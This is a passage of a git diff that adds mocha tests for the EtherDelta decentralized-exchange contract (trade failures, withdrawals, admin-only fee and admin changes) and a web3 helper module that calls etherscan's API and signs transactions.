+      function testTrade(expiresIn, orderNonce, tokenGet, tokenGive, amountGet, amountGive, amount, account1, account2, accountLevel, callback) {
+        let expires = expiresIn;
+        web3.eth.getBlockNumber((err, blockNumber) => {
+          if (err) callback(err);
+          expires += blockNumber;
+          utility.testSend(web3, contractAccountLevels, contractAccountLevelsAddr, 'setAccountLevel', [account1, accountLevel, { gas: 1000000, value: 0 }], account1, undefined, 0, (err2) => {
+            assert.equal(err2, undefined);
+            utility.testCall(web3, contractAccountLevels, contractAccountLevelsAddr, 'accountLevel', [account1], (err3) => {
+              assert.equal(err3, undefined);
+              utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'order', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, { gas: 1000000, value: 0 }], account1, undefined, 0, (err4) => {
+                assert.equal(err4, undefined);
+                utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'trade', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0', amount, { gas: 1000000, value: 0 }], account2, undefined, 0, (err5) => {
+                  assert.equal(!err5, false);
+                  callback();
+                });
+              });
+            });
+          });
+        });
+      }
+      const account1 = accounts[1];
+      const account2 = accounts[2];
+      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account1], () => {
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account2], (err2, initialBalance12) => {
+          utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account1], (err3, initialBalance21) => {
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account2], () => {
+              const trades = [
+                // try to trade more than available size
+                {
+                  expires: 13,
+                  orderNonce: 1,
+                  tokenGet: contractToken1Addr,
+                  tokenGive: contractToken2Addr,
+                  amountGet: new BigNumber(utility.ethToWei(50)),
+                  amountGive: new BigNumber(utility.ethToWei(25)),
+                  amount: new BigNumber(utility.ethToWei(51)),
+                  account1,
+                  account2,
+                  accountLevel: 0,
+                },
+                // try to trade against resting order when the maker doesn't have enough funds
+                {
+                  expires: 14,
+                  orderNonce: 2,
+                  tokenGet: contractToken1Addr,
+                  tokenGive: contractToken2Addr,
+                  amountGet: new BigNumber(utility.ethToWei(50)),
+                  amountGive: initialBalance21.plus(new BigNumber(1)),
+                  amount: new BigNumber(utility.ethToWei(50)),
+                  account1,
+                  account2,
+                  accountLevel: 1,
+                },
+                // try to trade against resting order when the taker doesn't have enough funds
+                {
+                  expires: 15,
+                  orderNonce: 3,
+                  tokenGet: contractToken1Addr,
+                  tokenGive: contractToken2Addr,
+                  amountGet: initialBalance12,
+                  amountGive: new BigNumber(25),
+                  amount: initialBalance12.plus(new BigNumber(1)),
+                  account1,
+                  account2,
+                  accountLevel: 2,
+                },
+              ];
+              async.eachSeries(trades,
+                (trade, callbackEach) => {
+                  testTrade(trade.expires, trade.orderNonce, trade.tokenGet, trade.tokenGive, trade.amountGet, trade.amountGive, trade.amount, trade.account1, trade.account2, trade.accountLevel, () => {
+                    callbackEach(null);
+                  });
+                },
+                () => {
+                  done();
+                });
+            });
+          });
+        });
+      });
+    });
+    it('Should do a token withdrawal', (done) => {
+      const amount = new BigNumber(utility.ethToWei(100));
+      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, accounts[1]], (err, initialBalance) => {
+        utility.testCall(web3, contractToken1, contractToken1Addr, 'balanceOf', [accounts[1]], (err2, initialTokenBalance) => {
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'withdrawToken', [contractToken1Addr, amount, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err3) => {
+            assert.equal(err3, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, accounts[1]], (err4, finalBalance) => {
+              utility.testCall(web3, contractToken1, contractToken1Addr, 'balanceOf', [accounts[1]], (err5, finalTokenBalance) => {
+                utility.testCall(web3, contractToken1, contractToken1Addr, 'balanceOf', [accounts[1]], () => {
+                  assert.equal(finalBalance.equals(initialBalance.sub(amount)), true);
+                  assert.equal(finalTokenBalance.equals(initialTokenBalance.add(amount)), true);
+                  done();
+                });
+              });
+            });
+          });
+        });
+      });
+    });
+    it('Should do an Ether withdrawal', (done) => {
+      const amount = new BigNumber(utility.ethToWei(100));
+      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [0, accounts[1]], (err, initialBalance) => {
+        web3.eth.getBalance(contractEtherDeltaAddr, (err2, initialEtherBalance) => {
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'withdraw', [amount, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err3) => {
+            assert.equal(err3, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [0, accounts[1]], (err4, finalBalance) => {
+              web3.eth.getBalance(contractEtherDeltaAddr, (err5, finalEtherBalance) => {
+                assert.equal(finalBalance.equals(initialBalance.sub(amount)), true);
+                assert.equal(finalEtherBalance.equals(initialEtherBalance.sub(amount)), true);
+                done();
+              });
+            });
+          });
+        });
+      });
+    });
+    it('Should change the account levels address and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeAccountLevelsAddr', ['0x0', { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the account levels address and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeAccountLevelsAddr', ['0x0', { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'accountLevelsAddr', [], (err2, result2) => {
+          assert.equal(result2 === '0x0000000000000000000000000000000000000000', true);
+          done();
+        });
+      });
+    });
+    it('Should change the fee account and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeAccount', ['0x0', { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the fee account and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeAccount', [accounts[1], { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'feeAccount', [], (err2, result2) => {
+          assert.equal(result2 === accounts[1], true);
+          done();
+        });
+      });
+    });
+    it('Should change the make fee and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeMake', [feeMake, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the make fee and fail because the make fee can only decrease', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeMake', [feeMake.mul(2), { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the make fee and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeMake', [feeMake.div(2), { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'feeMake', [], (err2, result2) => {
+          assert.equal(result2.equals(feeMake.div(2)), true);
+          feeMake = result2;
+          done();
+        });
+      });
+    });
+    it('Should change the take fee and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeTake', [feeTake, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the take fee and fail because the take fee can only decrease', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeTake', [feeTake.mul(2), { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the take fee and fail because the take fee must exceed the rebate fee', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeTake', [feeTake.minus(new BigNumber(1)), { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the take fee and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeTake', [feeRebate.plus(new BigNumber(2)), { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'feeTake', [], (err2, result2) => {
+          assert.equal(result2.equals(feeRebate.plus(new BigNumber(2))), true);
+          feeTake = result2;
+          done();
+        });
+      });
+    });
+    it('Should change the rebate fee and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeRebate', [feeRebate, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the rebate fee and fail because the rebate fee can only increase', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeRebate', [feeRebate.div(2), { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the rebate fee and fail because the rebate fee must not exceed the take fee', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeRebate', [feeTake.plus(new BigNumber(1)), { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the rebate fee and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeFeeRebate', [feeTake.minus(new BigNumber(1)), { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'feeRebate', [], (err2, result2) => {
+          assert.equal(result2.equals(feeTake.minus(new BigNumber(1))), true);
+          feeRebate = result2;
+          done();
+        });
+      });
+    });
+    it('Should change the admin account and fail', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeAdmin', [accounts[1], { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err) => {
+        assert.equal(!err, false);
+        done();
+      });
+    });
+    it('Should change the admin account and succeed', (done) => {
+      utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'changeAdmin', [accounts[1], { gas: 1000000, value: 0 }], admin, undefined, 0, (err) => {
+        assert.equal(err, undefined);
+        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'admin', [], (err2, result2) => {
+          assert.equal(result2 === accounts[1], true);
+          admin = result2;
+          done();
+        });
+      });
+    });
+  });
+});
diff --git a/basic/13-decentralized-exchange/backup/etherdelta/utility.js b/basic/13-decentralized-exchange/backup/etherdelta/utility.js
new file mode 100644
index 000000000..cbf429881
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/etherdelta/utility.js
@@ -0,0 +1,1121 @@
+/* eslint-env browser */
+/* eslint no-console: ["error", { allow: ["log"] }] */
+
+const fs = require('fs');
+const request = require('request');
+const async = typeof window === 'undefined' ? require('async') : require('async/dist/async.min.js');
+const Web3 = require('web3');
+const SolidityFunction = require('web3/lib/web3/function.js');
+const SolidityEvent = require('web3/lib/web3/event.js');
+const coder = require('web3/lib/solidity/coder.js');
+const utils = require('web3/lib/utils/utils.js');
+const sha3 = require('web3/lib/utils/sha3.js');
+const Tx = require('ethereumjs-tx');
+const keythereum = require('keythereum');
+const ethUtil = require('ethereumjs-util');
+const BigNumber = require('bignumber.js');
+
+module.exports = (config) => {
+  const utility = {};
+
+  utility.weiToEth = function weiToEth(wei, divisorIn) {
+    const divisor = !divisorIn ? 1000000000000000000 : divisorIn;
+    return (wei / divisor).toFixed(3);
+  };
+
+  utility.ethToWei = function ethToWei(eth, divisorIn) {
+    const divisor = !divisorIn ? 1000000000000000000 : divisorIn;
+    return parseFloat((eth * divisor).toPrecision(10));
+  };
+
+  utility.roundToNearest = function roundToNearest(numToRound, numToRoundToIn) {
+    const numToRoundTo = 1 / numToRoundToIn;
+    return Math.round(numToRound * numToRoundTo) / numToRoundTo;
+  };
+
+  utility.getURL = function getURL(url, callback, options) {
+    request.get(url, options, (err, httpResponse, body) => {
+      if (err) {
+        callback(err, undefined);
+      } else {
+        callback(undefined, body);
+      }
+    });
+  };
+
+  utility.postURL = function postURL(url, formData, callback) {
+    request.post({ url, form: formData }, (err, httpResponse, body) => {
+      if (err) {
+        callback(err, undefined);
+      } else {
+        callback(undefined, body);
+      }
+    });
+  };
+
+  utility.readFile = function readFile( // eslint-disable-line consistent-return
+    filename, callback) {
+    if (callback) {
+      try {
+        if (typeof window === 'undefined') {
+          fs.readFile(filename, { encoding: 'utf8' }, (err, data) => {
+            if (err) {
+              callback(err, undefined);
+            } else {
+              callback(undefined, data);
+            }
+          });
+        } else {
+          utility.getURL(`${window.location.origin}/${filename}`, (err, body) => {
+            if (err) {
+              callback(err, undefined);
+            } else {
+              callback(undefined, body);
+            }
+          });
+        }
+      } catch (err) {
+        callback(err, undefined);
+      }
+    } else {
+      try {
+        return fs.readFileSync(filename, { encoding: 'utf8' });
+      } catch (err) {
+        return undefined;
+      }
+    }
+  };
+
+  utility.writeFile = function writeFile(filename, data, callback) {
+    fs.writeFile(filename, data, (err) => {
+      if (err) {
+        callback(err, false);
+      } else {
+        callback(undefined, true);
+      }
+    });
+  };
+
+  utility.createCookie = function createCookie(name, value, days) {
+    if (localStorage) {
+      localStorage.setItem(name, value);
+    } else {
+      let expires;
+      if (days) {
+        const date = new Date();
+        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
+        expires = `; expires=${date.toGMTString()}`;
+      } else {
+        expires = '';
+      }
+      document.cookie = `${name}=${value}${expires}; path=/`;
+    }
+  };
+
+  utility.readCookie = function readCookie(name) {
+    if (localStorage) {
+      return localStorage.getItem(name);
+    }
+    const nameEQ = `${name}=`;
+    const ca = document.cookie.split(';');
+    for (let i = 0; i < ca.length; i += 1) {
+      let c = ca[i];
+      while (c.charAt(0) === ' ') {
+        c = c.substring(1, c.length);
+      }
+      if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);
+    }
+    return null;
+  };
+
+  utility.eraseCookie = function eraseCookie(name) {
+    if (localStorage) {
+      localStorage.removeItem(name);
+    } else {
+      utility.createCookie(name, '', -1);
+    }
+  };
+
+  utility.getNextNonce = function getNextNonce(web3, address, callback) {
+    function proxy() {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=proxy&action=eth_GetTransactionCount&address=${
+        address
+        }&tag=latest`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          const result = JSON.parse(body);
+          const nextNonce = Number(result.result);
+          callback(undefined, nextNonce);
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    try {
+      if (web3.currentProvider) {
+        web3.eth.getTransactionCount(address, (err, result) => {
+          if (!err) {
+            const nextNonce = Number(result);
+            // Note. initial nonce is 2^20 on testnet,
+            // but getTransactionCount already starts at 2^20.
+            callback(undefined, nextNonce);
+          } else {
+            proxy();
+          }
+        });
+      } else {
+        proxy();
+      }
+    } catch (err) {
+      proxy();
+    }
+  };
+
+  utility.testCall = function testCall(web3, contract, address, functionName, args, callback) {
+    const options = {};
+    options.data = contract[functionName].getData.apply(null, args);
+    options.to = address;
+    web3.eth.call(options, (err, result) => {
+      if (!err) {
+        const functionAbi = contract.abi.find(element =>
+          element.name === functionName);
+        const solidityFunction = new SolidityFunction(web3.Eth, functionAbi, address);
+        callback(err, solidityFunction.unpackOutput(result));
+      } else {
+        callback(err, result);
+      }
+    });
+  };
+
+  utility.call = function call(web3In, contract, address, functionName, args, callback) {
+    function proxy(retries) {
+      const web3 = new Web3();
+      const data = contract[functionName].getData.apply(null, args);
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=proxy&action=eth_Call&to=${
+        address
+        }&data=${
+        data}`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          try {
+            const result = JSON.parse(body);
+            const functionAbi = contract.abi.find(element => element.name === functionName);
+            const solidityFunction = new SolidityFunction(web3.Eth, functionAbi, address);
+            const resultUnpacked = solidityFunction.unpackOutput(result.result);
+            callback(undefined, resultUnpacked);
+          } catch (errJson) {
+            if (retries > 0) {
+              setTimeout(() => {
+                proxy(retries - 1);
+              }, 1000);
+            } else {
+              callback(err, undefined);
+            }
+          }
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    try {
+      if (web3In.currentProvider) {
+        const data = contract[functionName].getData.apply(null, args);
+        web3In.eth.call({ to: address, data }, (err, result) => {
+          if (!err) {
+            const functionAbi = contract.abi.find(element => element.name === functionName);
+            const solidityFunction = new SolidityFunction(web3In.Eth, functionAbi, address);
+            try {
+              const resultUnpacked = solidityFunction.unpackOutput(result);
+              callback(undefined, resultUnpacked);
+            } catch (errJson) {
+              proxy(1);
+            }
+          } else {
+            proxy(1);
+          }
+        });
+      } else {
+        proxy(1);
+      }
+    } catch (err) {
+      proxy(1);
+    }
+  };
+
+  utility.testSend = function testSend(
+    web3, contract, address, functionName, argsIn, fromAddress, privateKey, nonce, callback) {
+    function encodeConstructorParams(abi, params) {
+      return abi.filter(json =>
+        json.type === 'constructor' && json.inputs.length === params.length)
+      .map(json =>
+        json.inputs.map(input => input.type))
+      .map(types => coder.encodeParams(types, params))[0] || '';
+    }
+    const args = Array.prototype.slice.call(argsIn).filter(a => a !== undefined);
+    let options = {};
+    if (typeof (args[args.length - 1]) === 'object' && args[args.length - 1].gas) {
+      args[args.length - 1].gasPrice = config.ethGasPrice;
+      args[args.length - 1].gasLimit = args[args.length - 1].gas;
+      delete args[args.length - 1].gas;
+    }
+    if (utils.isObject(args[args.length - 1])) {
+      options = args.pop();
+    }
+    if (functionName === 'constructor') {
+      if (options.data.slice(0, 2) !== '0x') {
+        options.data = `0x${options.data}`;
+      }
+      options.data += encodeConstructorParams(contract.abi, args);
+    } else {
+      options.to = address;
+      const functionAbi = contract.abi.find(element => element.name === functionName);
+      const inputTypes = functionAbi.inputs.map(x => x.type);
+      const typeName = inputTypes.join();
+      const data = sha3(`${functionName}(${typeName})`).slice(0, 8) + coder.encodeParams(inputTypes, args);
+      options.data = `0x${data}`;
+    }
+    if (!options.from) options.from = fromAddress;
+    web3.eth.sendTransaction(options, (err, result) => {
+      callback(err, result);
+    });
+  };
+
+  utility.send = function send(
+    web3,
+    contract,
+    address,
+    functionName,
+    argsIn,
+    fromAddress,
+    privateKeyIn,
+    nonceIn,
+    callback) {
+    let privateKey = privateKeyIn;
+    if (privateKeyIn && privateKeyIn.substring(0, 2) === '0x') {
+      privateKey = privateKeyIn.substring(2, privateKeyIn.length);
+    }
+    function encodeConstructorParams(abi, params) {
+      return (
+        abi
+          .filter(json => json.type === 'constructor' && json.inputs.length === params.length)
+          .map(json => json.inputs.map(input => input.type))
+          .map(types => coder.encodeParams(types, params))[0] || ''
+      );
+    }
+    const args = Array.prototype.slice.call(argsIn).filter(a => a !== undefined);
+    let options = {};
+    if (typeof args[args.length - 1] === 'object' && args[args.length - 1].gas) {
+      args[args.length - 1].gasPrice = config.ethGasPrice;
+      args[args.length - 1].gasLimit = args[args.length - 1].gas;
+      delete args[args.length - 1].gas;
+    }
+    if (utils.isObject(args[args.length - 1])) {
+      options = args.pop();
+    }
+    utility.getNextNonce(web3, fromAddress, (err, nextNonce) => {
+      let nonce = nonceIn;
+      if (nonceIn === undefined || nonceIn < nextNonce) {
+        nonce = nextNonce;
+      }
+      // console.log("Nonce:", nonce);
+      options.nonce = nonce;
+      if (functionName === 'constructor') {
+        if (options.data.slice(0, 2) !== '0x') {
+          options.data = `0x${options.data}`;
+        }
+        const encodedParams = encodeConstructorParams(contract.abi, args);
+        console.log(encodedParams);
+        options.data += encodedParams;
+      } else if (!contract || !functionName) {
+        options.to = address;
+      } else {
+        options.to = address;
+        const functionAbi = contract.abi.find(element => element.name === functionName);
+        const inputTypes = functionAbi.inputs.map(x => x.type);
+        const typeName = inputTypes.join();
+        options.data =
+          `0x${
+          sha3(`${functionName}(${typeName})`).slice(0, 8)
+          }${coder.encodeParams(inputTypes, args)}`;
+      }
+      let tx;
+      try {
+        tx = new Tx(options);
+        function proxy() { // eslint-disable-line no-inner-declarations
+          if (privateKey) {
+            utility.signTx(web3, fromAddress, tx, privateKey, (errSignTx, txSigned) => {
+              if (!errSignTx) {
+                const serializedTx = txSigned.serialize().toString('hex');
+                const url = `https://${config.ethTestnet ? config.ethTestnet : 'api'}.etherscan.io/api`;
+                const formData = { module: 'proxy', action: 'eth_sendRawTransaction', hex: serializedTx };
+                if (config.etherscanAPIKey) formData.apikey = config.etherscanAPIKey;
+                utility.postURL(url, formData, (errPostURL, body) => {
+                  if (!errPostURL) {
+                    try {
+                      const result = JSON.parse(body);
+                      if (result.result) {
+                        callback(undefined, { txHash: result.result, nonce: nonce + 1 });
+                      } else if (result.error) {
+                        callback(result.error.message, { txHash: undefined, nonce });
+                      }
+                    } catch (errTry) {
+                      callback(errTry, { txHash: undefined, nonce });
+                    }
+                  } else {
+                    callback(err, { txHash: undefined, nonce });
+                  }
+                });
+              } else {
+                console.log(err);
+                callback('Failed to sign transaction', { txHash: undefined, nonce });
+              }
+            });
+          } else {
+            callback('Failed to sign transaction', { txHash: undefined, nonce });
+          }
+        }
+        try {
+          if (web3.currentProvider) {
+            options.from = fromAddress;
+            options.gas = options.gasLimit;
+            delete options.gasLimit;
+            web3.eth.sendTransaction(options, (errSend, hash) => {
+              if (!errSend) {
+                callback(undefined, { txHash: hash, nonce: nonce + 1 });
+              } else {
+                console.log(err);
+                proxy();
+              }
+            });
+          } else {
+            proxy();
+          }
+        } catch (errSend) {
+          proxy();
+        }
+      } catch (errCatch) {
+        callback(errCatch, { txHash: undefined, nonce });
+      }
+    });
+  };
+
+  utility.estimateGas = function estimateGas(
+    web3,
+    contract,
+    address,
+    functionName,
+    argsIn,
+    fromAddress,
+    privateKeyIn,
+    nonceIn,
+    callback) {
+    let privateKey = privateKeyIn;
+    if (privateKeyIn && privateKeyIn.substring(0, 2) === '0x') {
+      privateKey = privateKeyIn.substring(2, privateKeyIn.length);
+    }
+    const args = Array.prototype.slice.call(argsIn).filter(a => a !== undefined);
+    let options = {};
+    const functionAbi = contract.abi.find(element => element.name === functionName);
+    const inputTypes = functionAbi.inputs.map(x => x.type);
+    if (typeof args[args.length - 1] === 'object' && args[args.length - 1].gas) {
+      args[args.length - 1].gasPrice = config.ethGasPrice;
+      args[args.length - 1].gasLimit = args[args.length - 1].gas;
+      delete args[args.length - 1].gas;
+    }
+    if (args.length > inputTypes.length && utils.isObject(args[args.length - 1])) {
+      options = args[args.length - 1];
+    }
+    utility.getNextNonce(web3, fromAddress, (err, nextNonce) => {
+      let nonce = nonceIn;
+      if (nonceIn === undefined) {
+        nonce = nextNonce;
+      }
+      options.nonce = nonce;
+      options.to = address;
+      const typeName = inputTypes.join();
+      options.data =
+        `0x${
+        sha3(`${functionName}(${typeName})`).slice(0, 8)
+        }${coder.encodeParams(inputTypes, args)}`;
+      const tx = new Tx(options);
+      utility.signTx(web3, fromAddress, tx, privateKey, (errSignTx, txSigned) => {
+        if (!errSignTx && txSigned) {
+          if (web3.currentProvider) {
+            try {
+              web3.eth.estimateGas(options, (errEstimateGas, result) => {
+                if (errEstimateGas) {
+                  callback(err, undefined);
+                } else {
+                  callback(undefined, result);
+                }
+              });
+            } catch (errTry) {
+              callback(errTry, undefined);
+            }
+          } else {
+            callback('No provider set for web3', undefined);
+          }
+        } else {
+          callback('Failed to sign transaction', undefined);
+        }
+      });
+    });
+  };
+
+  utility.txReceipt = function txReceipt(web3, txHash, callback) {
+    function proxy() {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=proxy&action=eth_GetTransactionReceipt&txhash=${
+        txHash}`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          const result = JSON.parse(body);
+          callback(undefined, result.result);
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    try {
+      if (web3.currentProvider) {
+        try {
+          web3.eth.getTransactionReceipt(txHash, (err, result) => {
+            if (err) {
+              proxy();
+            } else {
+              callback(undefined, result);
+            }
+          });
+        } catch (err) {
+          proxy();
+        }
+      } else {
+        proxy();
+      }
+    } catch (err) {
+      proxy();
+    }
+  };
+
+  utility.logsOnce = function logsOnce(web3, contract, address, fromBlock, toBlock, callback) {
+    function decodeEvent(item) {
+      const eventAbis = contract.abi.filter(eventAbi => (
+          eventAbi.type === 'event' &&
+          item.topics[0] ===
+            `0x${
+              sha3(
+                `${eventAbi.name
+                  }(${
+                  eventAbi.inputs
+                    .map(x => x.type)
+                    .join()
+                  })`)}`
+        ));
+      if (eventAbis.length > 0) {
+        const eventAbi = eventAbis[0];
+        const event = new SolidityEvent(web3, eventAbi, address);
+        const result = event.decode(item);
+        return result;
+      }
+      return undefined;
+    }
+    function proxy(retries) {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=logs&action=getLogs&address=${
+        address
+        }&fromBlock=${
+        fromBlock
+        }&toBlock=${
+        toBlock}`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(
+        url,
+        (err, body) => {
+          if (!err) {
+            try {
+              const result = JSON.parse(body);
+              const items = result.result;
+              async.map(
+                items,
+                (item, callbackMap) => {
+                  Object.assign(item, {
+                    blockNumber: utility.hexToDec(item.blockNumber),
+                    logIndex: utility.hexToDec(item.logIndex),
+                    transactionIndex: utility.hexToDec(item.transactionIndex),
+                  });
+                  const event = decodeEvent(item);
+                  callbackMap(null, event);
+                },
+                (errMap, events) => {
+                  callback(null, events);
+                });
+            } catch (errTry) {
+              if (retries > 0) {
+                proxy(retries - 1);
+              } else {
+                callback(null, []);
+              }
+            }
+          } else {
+            callback(null, []);
+          }
+        // },
+        // { timeout: 1500 });
+        });
+    }
+    proxy(1);
+  };
+
+  utility.getBalance = function getBalance(web3, address, callback) {
+    function proxy() {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=account&action=balance&address=${
+        address
+        }&tag=latest`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          const result = JSON.parse(body);
+          const balance = new BigNumber(result.result);
+          callback(undefined, balance);
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    try {
+      if (web3.currentProvider) {
+        web3.eth.getBalance(address, (err, balance) => {
+          if (!err) {
+            callback(undefined, balance);
+          } else {
+            proxy();
+          }
+        });
+      } else {
+        proxy();
+      }
+    } catch (err) {
+      proxy();
+    }
+  };
+
+  utility.getCode = function getCode(web3, address, callback) {
+    function proxy() {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=proxy&action=eth_getCode&address=${
+        address
+        }&tag=latest`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          const result = JSON.parse(body);
+          callback(undefined, result.result);
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    try {
+      if (web3.currentProvider) {
+        web3.eth.getCode(address, (err, code) => {
+          if (!err) {
+            callback(undefined, code);
+          } else {
+            proxy();
+          }
+        });
+      } else {
+        proxy();
+      }
+    } catch (err) {
+      proxy();
+    }
+  };
+
+  utility.blockNumber = function blockNumber(web3, callback) {
+    function proxy() {
+      let url =
+        `https://${
+        config.ethTestnet ? config.ethTestnet : 'api'
+        }.etherscan.io/api?module=proxy&action=eth_BlockNumber`;
+      if (config.etherscanAPIKey) url += `&apikey=${config.etherscanAPIKey}`;
+      utility.getURL(url, (err, body) => {
+        if (!err) {
+          const result = JSON.parse(body);
+          callback(undefined, Number(utility.hexToDec(result.result)));
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+    if (web3.currentProvider) {
+      web3.eth.getBlockNumber((err, result) => {
+        if (!err) {
+          callback(undefined, Number(result));
+        } else {
+          proxy();
+        }
+      });
+    } else {
+      proxy();
+    }
+  };
+
+  utility.signTx = function signTx(web3, address, txIn, privateKey, callback) {
+    const tx = txIn;
+    if (privateKey) {
+      tx.sign(new Buffer(privateKey, 'hex'));
+      callback(undefined, tx);
+    } else {
+      const msgHash = `0x${tx.hash(false).toString('hex')}`;
+      web3.eth.sign(address, msgHash, (err, sigResult) => {
+        if (!err) {
+          try {
+            const r = sigResult.slice(0, 66);
+            const s = `0x${sigResult.slice(66, 130)}`;
+            let v = web3.toDecimal(`0x${sigResult.slice(130, 132)}`);
+            if (v !== 27 && v !== 28) v += 27;
+            tx.r = r;
+            tx.s = s;
+            tx.v = v;
+            callback(undefined, tx);
